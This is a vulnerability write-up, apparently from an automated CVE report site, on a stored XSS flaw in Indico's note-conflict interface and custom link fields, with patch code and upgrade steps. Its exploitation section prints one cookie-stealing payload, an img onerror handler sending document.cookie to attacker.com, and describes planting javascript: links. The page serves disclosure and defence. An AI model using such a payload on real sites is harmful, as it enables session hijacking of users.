CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-107397

CVE-2026-107397: Stored Cross-Site Scripting via Collaborative Editor Conflict Resolution and Custom Link Fields in Indico

Alon Barad
Alon Barad
Software Engineer

Oct 9, 2026·7 min read·3 visits

Executive Summary (TL;DR)

Vulnerabilities in Indico's conflict resolution interface and custom link fields allowed authenticated users to inject arbitrary HTML/JavaScript (Stored XSS). Fixed in version 3.3.13.

A technical analysis of CVE-2026-107397, a stored Cross-Site Scripting (XSS) vulnerability in Indico's collaborative notes editor and custom link generation fields. Prior to version 3.3.13, Marshmallow serialization schemas omitted HTML sanitization during conflict resolution, and form validators failed to enforce strict URI schemes, enabling authenticated low-privilege attackers to execute arbitrary JavaScript.

Vulnerability Overview

Indico is an open-source event management web application developed at CERN, heavily utilized for managing conferences, meetings, and workshops. The platform features a real-time collaborative tool for taking event minutes and notes, allowing speakers and organizers to document presentations concurrently. This collaborative mechanism processes user inputs and presents conflicting changes to users through a dedicated merge UI when concurrent updates occur.

The vulnerability designated as CVE-2026-107397 consists of two stored Cross-Site Scripting (XSS) attack vectors. The primary vector resides in the event minutes conflict resolution UI, where the system fails to sanitize draft note revisions during serialization. The secondary vector is located within the custom URL link fields for attachments and menu items, which accept arbitrary URI schemes.

Exploitation of the minutes vulnerability requires a low-privilege authenticated user (such as a speaker or contributor with edit permissions on event minutes) to craft an HTML payload. When a concurrent edit is made by a victim (such as a session manager), Indico forces the rendering of a side-by-side diff containing the unsanitized markup. The script execution occurs within the context of the victim's session, leading to privilege escalation or session compromise.

Root Cause Analysis

The primary root cause of the collaborative notes vulnerability is located within the Python serialization layer of Indico's backend modules. Indico implements Marshmallow schemas (EventNoteSchema and CompiledEventNoteSchema) to serialize EventNoteRevision database objects into JSON representations. When concurrent modifications occur, the application serves these drafts to the frontend conflict resolution modal, but prior to version 3.3.13, these schemas lacked a sanitization pass.

Because the backend serialized the raw html field directly from the database without filtering out malicious elements, the client-side React component rendered the remote draft diff as raw HTML. This represents a failure to perform defense-in-depth sanitization at the API boundary, relying implicitly on the assumption that only sanitized HTML would reach the conflict interface. A malicious actor with access to the note editor can directly input dangerous DOM elements.

The secondary root cause lies in the application's URL validation logic across several WTForms form configurations, such as the attachment link form and menu link form. The fields were defined using WTForms' basic URLField without applying strict scheme-level validation or the default WTForms URL validator. Consequently, the input pipeline accepted arbitrary URI schemes, including javascript: and data: protocols, which execute active content directly within the application's origin upon user interaction.

Code Analysis

To understand the flaw and its remediation, we examine the modifications introduced in the patch commit d4c8c7127176efa4cb53c64119ca8ee2b551be18. The changes primarily focus on implementing strict post-serialization sanitization inside the Marshmallow schemas and adding validation constraints to the URL fields.

In indico/modules/events/notes/schemas.py, the patch introduces a post-dump hook that forces sanitization on both note-related schemas. This ensures that any data output by the schemas is automatically cleansed using sanitize_html():

# AFTER PATCH - indico/modules/events/notes/schemas.py
from marshmallow import post_dump
from indico.util.string import sanitize_html
 
class EventNoteSchema(mm.SQLAlchemyAutoSchema):
    class Meta:
        model = EventNoteRevision
        fields = ('id', 'html', 'source', 'render_mode', 'note_author', 'modified_dt')
 
    note_author = fields.String(attribute='user.full_name')
 
    @post_dump
    def _sanitize_html(self, data, **kwargs):
        # Strictly filter out script tags and event handlers before serialization
        data['html'] = sanitize_html(data['html'])
        return data

Additionally, in indico/web/forms/fields/simple.py, the validator was modified to strictly enforce the protocol scheme of custom links. This prevents protocol-relative or non-web protocols such as javascript: from passing through form submission:

# AFTER PATCH - indico/web/forms/fields/simple.py
def pre_validate(self, form):
    if not all(x.get('url') for x in self.data):
        raise ValidationError(_('URL is required'))
    # Enforce strict protocol whitelisting
    if not all(x['url'].startswith(('http://', 'https://')) for x in self.data):
        raise ValidationError(_('Only URLs starting with https:// (or http://) are allowed'))

This combined approach ensures that the application operates on clean data even if input-level validation is bypassed or if legacy, unsanitized notes exist in the database. The validation of custom links at the form level effectively mitigates the URI-scheme injection vector.

Exploitation Methodology

Exploitation of the collaborative editor vulnerability relies on triggering a data race condition in the edit history of an event note. The following diagram illustrates the sequence of events required for an attacker to target an event organizer or session administrator:

First, the attacker logs into Indico with an account that has editing rights to a specific session's minutes. The attacker inputs an HTML payload designed to exfiltrate anti-CSRF tokens or administrative session identifiers. The payload is crafted using an event handler that does not require direct interaction, such as: <img src="x" onerror="fetch('https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie))">

Second, the attacker triggers a conflict. This is achieved by having the attacker modify the note in one transaction while keeping a concurrent edit session open. Alternatively, the attacker waits for a legitimate editor (the victim) to modify the same minutes block. When both changes are submitted, the backend detects a collision and serves the raw, unsanitized drafts to the victim's browser through the conflict resolution API endpoint.

Third, when the victim's browser renders the conflict resolution interface, it processes the raw, unsanitized HTML diff. The browser interprets the <img onerror=...> tag, experiences a loading failure for the dummy source, and immediately executes the JavaScript payload under the session context of the victim.

Impact Assessment

The impact of successful exploitation of CVE-2026-107397 varies depending on the targeted user's role. If an attacker successfully targets a high-privilege session manager or platform administrator, they can execute arbitrary administrative actions. This includes altering event configurations, downloading private registration data, or modifying system settings.

Because the executing JavaScript runs under the context of the victim's authenticated session, the browser automatically attaches cookies and session authorization headers (such as CSRF protection headers) to any API requests initiated by the script. If the platform is configured without strict Content Security Policy (CSP) headers or HTTP-only cookies, the attacker's script can read the session identifier and exfiltrate it to a remote logging server, achieving full session hijacking.

The second vector involving custom menu links allows attackers to conduct phishing and browser-level actions. An attacker can plant a javascript: URL in an event link that triggers whenever a visitor clicks on the menu. While the attack complexity for this vector is lower (it does not require a concurrent edit race), it does require user interaction. The overall risk is classified as Medium, reflecting the high complexity of triggering concurrent edits versus the ease of exploiting the custom link vector.

Remediation & Mitigation

The primary and definitive remediation for CVE-2026-107397 is upgrading the Indico installation to version 3.3.13 or later. This release addresses both root causes by sanitizing serialized note schemas and restricting custom links to standard HTTP and HTTPS protocols. The patch is complete and resolves the variant vectors within the core modules of Indico.

To perform the upgrade on a standard production installation, administrators should utilize the Python package manager pip within the application's virtual environment:

pip install --upgrade indico
systemctl restart indico-celery.service uwsgi.service

For deployments where immediate upgrading is not possible, organizations should implement defensive-in-depth mitigations. First, verify that Indico's built-in Content Security Policy (CSP) is enabled. A strong CSP that restricts script-src and disallows unsafe-inline will prevent the execution of inline event handlers (like onerror) used in the notes exploit. Second, use a Web Application Firewall (WAF) to inspect POST requests to the /event/<id>/notes/ and /event/<id>/manage/layout/ paths for common XSS patterns.

Official Patches

Indico / CERNPull Request #7619 addressing the XSS issues.

Fix Analysis (1)

Technical Appendix

CVSS Score
4.4/ 10
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N

Affected Systems

Indico collaborative minutes editor and custom link fields

Affected Versions Detail

Product
Affected Versions
Fixed Version
Indico
CERN
< 3.3.133.3.13
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.1 Score4.4 (Medium)
Exploit StatusNone (No Public PoC)
ImpactStored Cross-Site Scripting (XSS)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Version bump to 3.3.13-dev initiated in Indico core repository.
2026-03-23
Core patches implementing sanitization schemas and URL validators merged.
2026-06-30
Official security advisory GHSA-cw24-x4mj-fw3q published and CVE assigned.
2026-10-08

References & Sources

  • [1]GitHub Security Advisory GHSA-cw24-x4mj-fw3q
  • [2]Indico Fix Commit d4c8c7127176efa4cb53c64119ca8ee2b551be18
  • [3]Indico Release v3.3.13

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•9 minutes ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
0 views•9 min read
•about 1 hour ago•GHSA-QX75-2P3R-PWM5
7.7

CVE-2026-55622: Cross-Project Instance Copy Authorization Bypass in Canonical LXD and LXC Incus

CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 2 hours ago•GHSA-7MR3-28H5-M5VX
7.7

GHSA-7mr3-28h5-m5vx: Authorization Bypass and Cross-Project Volume Copy in Canonical LXD

An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.

Alon Barad
Alon Barad
3 views•10 min read
•about 3 hours ago•GHSA-47W9-6R3F-938G
9.9

GHSA-47w9-6r3f-938g: Authorization Bypass and Host Root Command Execution in Canonical LXD and Incus

A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.

Alon Barad
Alon Barad
4 views•11 min read
•about 4 hours ago•GHSA-JPF8-86F3-WP38
9.9

CVE-2026-48752: Arbitrary Host File Read and Write via Templates Symlink in Canonical LXD and Incus

A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.

Amit Schendel
Amit Schendel
4 views•10 min read
•1 day ago•CVE-2026-12411
8.4

CVE-2026-12411: Cross-Guest Volume Hijack via DevLXD Device PATCH in Canonical LXD

CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.

Amit Schendel
Amit Schendel
7 views•10 min read